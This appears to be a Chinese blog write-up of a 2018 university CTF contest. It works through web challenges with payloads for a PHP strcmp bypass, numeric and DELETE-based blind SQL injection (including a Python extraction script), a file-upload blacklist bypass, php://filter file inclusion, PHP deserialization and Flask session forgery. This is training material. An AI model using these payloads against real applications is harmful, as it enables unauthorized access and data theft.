2018中原工学院网络安全校赛

原创

可乐' 于 2018-12-24 23:08:39 发布 392 收藏 1
分类专栏： CTFwrite 文章标签： CTF writeup

Drops攻防训练营欢迎你的加入

打开页面查看响应头有一个 tips:4he9e.txt 然后访问这个页面

```
<?php
$flag = "***";
if (isset($_GET['repo'])) {
    if (strcmp($_GET['repo'], $flag) == 0)
        die('Flag: '.$flag);
    else
        print 'No';
}
```

题目要求让repo与flag字符串相等就输出flag
strcmp()函数也只能处理字符串参数，传个数组进去就能返回false，又由于它与0的比较用的是== 而不是 ===（允许类型转换后比较），就满足了这个 if 的条件。Payload：?repo[]=a

惊鸿一笔，上官婉儿

这道题想了好久,union,and,=,extractvalue,被过滤
试了报错,不行,发现是数字型的SQL注入，尝试exp报错也不行,发现试各种报错都原样输出报错,于是尝试时间盲注

```
http://39.108.109.85:9001/?id=1 or sleep(10)
```

成功执行
这里要学一个函数 **linestring**
linestring是Mysql自带的空间索引函数用来索引列名，还有一个函数也有这个效果**polygon** 这个语句进行报错
在mysql的security数据库users表

```
select * from users where id=1 and linestring(id);
```

ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`id`' value found during parsing
payload如下:

```
?id=1 or exp(~id)
?id=1 or linestring(id)
?id=1 or polygon(id)
```

快一点

You need get a ‘t’
于是构造一个?t=1
得到代码

```
<?php

include 'flag.php';
if(isset($_GET['t'])){
    $_COOKIE['bash_token'] = $_GET['t'];
}else{
    die("You need get a 't'");
}
if(isset($_POST['sleep'])){
    if(!is_numeric($_POST['sleep'])){

        echo 'Gime me a number plz.';
    }else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){
        echo 'NoNoNo sleep too short.';
    }else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
        echo 'NoNoNo sleep too long.';
    }else{
        sleep((int)$_POST['sleep']);
        getFlag();
    }
}else{
    highlight_file(__FILE__);
}
?>
```

题目要求sleep是个数字，并在2592000和7776000之间，然后sleep这么长时间，给出flag。
这题主要考察is_numeric()和int()的区别。前者支持普通数字型、科学记数法型、部分支持十六进制0x型，在is_numeric()支持的形式中，int()不能正确转换十六进制型、科学计数法型。
因此可以构造

```
sleep = 6e6、0x4F1A01
```

文件上传

上传.php,弹出
alert(‘不允许的文件！’);history.go(-1)
改为.jpg
alert(‘上传成功！’);history.go(-1)
用于这道题没有回显上传路径
这道题应该是黑名单绕过
经过测试
.pht 可以绕过 ,注意还要改content-type:image/jpeg

admin

打开访问
you are not admin !
查看源码, 发现

```
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
```

传三个参数user、file、pass使其能通过
注意

```
if(isset($user)&&(file_get_contents($user,'r')==="admin"))
```

利用php的封装协议php://input
include($file);//class.php
读取class.php文件和index.php文件

```
?user=php://input&file=php://filter/convert.base64-encode/resource=index.php
?user=php://input&file=php://filter/convert.base64-encode/resource=index.php
```

```
<?php
error_reporting(0);

class Read{//flag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>
```

```php
<?php
error_reporting(0);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/flag/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->
```

源码来看这是一道反序列化题
构造序列化字符串然后传进去读取flag，因为他过滤了flag不能直接读取
?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}

post: admin

留言板

考点：

信息泄露

flask-session伪造

delete盲注

环境：

python3环境

flask 1.0.2框架

sqlite3数据库
查看源码
注意到这个图片地址
https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg

应该是某个人的github地址
https://github.com/alipql
可以发现alipql这个人的github仓库： https://github.com/alipql 在homework这个库里面的homework2中可以找到一个非空的config.py配置文件

```
#!/usr/bin/env python3
# coding=utf-8
import os


class Config():
    BaseDir = os.path.abspath(os.path.dirname(__file__))
    DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
    SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
    SQLALCHEMY_TRACK_MODIFICATIONS = True
    SQLALCHEMY_COMMIT_ON_TEARDOWN = True
    SECRET_KEY = 'dropseckey123'


config = {
    'default': Config
}
```

从config.py配置文件中可得到secert_key、sql数据库类型
拿到secert_key后，利用它进行flask的session伪造
工具地址:
https://github.com/style-404/flask-session-cookie-manager
题目中预制的有两个用户，test/test,user/user,可通过登录用户时返回的session验证SECRETKEY是否正确
可以利用，然后去伪造admin的session
替换掉session，即可成功登录到admin账户获取管理权限。

tip: 存在一个flag表和flag字段
于是进行**delete布尔盲注**

对添加用户功能和删除用户功能稍微一测试，会发现删除用户功能是存在注入的，是delete的注入。从config.py的信息泄露中可以知道数据库为sqlite，导致很多函数不能用；由于又是个delete方式，导致很多姿势用不上。

在这里轻微fuzz一下可发现只过滤了drop、update、delete等部分删表删flag改flag的关键字，而and、substr、selete、from、空格等未过滤，参数为单引号包裹，所以可组合一个payload:

```
' and substr((select flag from flag),1,1)=='f
```

先增加用户，在删除用户时提交payload再进行布尔判断即可盲注flag。 例如增加111用户后再删除用户111

```
usernamedel=111' and substr((select flag from flag ),1,1)=='f
成功删除用户，返回包不存在111，说明flag第一个字母为f。若改为
usernamedel=111' and substr((select flag from flag),1,1)=='0
```

显示成功删除却依然存在111用户，没删除用户，说明第一位不为0，然后接下来写脚本去跑就行了

```
#!/usr/bin/env python3

# coding=utf-8

import requests
class sqliexp:
    def __init__(self):
        self.url = 'http://172.93.39.218:8888/admin'
        self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUi
OiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'
        self.flag = ''

    #增加111用户
    def adduser(self):
        cookies = {'session':self.session}
        data = {'username':'111','password':'111'}
        try:
            requests.post(url=self.url, cookies=cookies,data=data)
        except TimeoutError:
            exit(-1)
    def deluser(self,num):
        cookies = {'session':self.session}
        for strs in 'flag{}0123456789bcde':
            payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num,strs)
            data = {'usernamedel':payload}
            try:
                response = requests.post(url=self.url,data=data,cookies=cookies)
                if '111' not in response.text:
                    self.flag += strs
                    return 1
            except TimeoutError:
                exit(-1)
if __name__ == '__main__':
    exp = sqliexp()
    for num in range(1,39,1):
        exp.adduser()
        exp.deluser(num)
        print(exp.flag)
```

misc

中原工学院图书馆

看WP说这道题特别简单,用binwalk得到一个压缩包，发现一张图片。flag正确格式是drops{}，对图片中的密文进行rot13解密就拿到flag了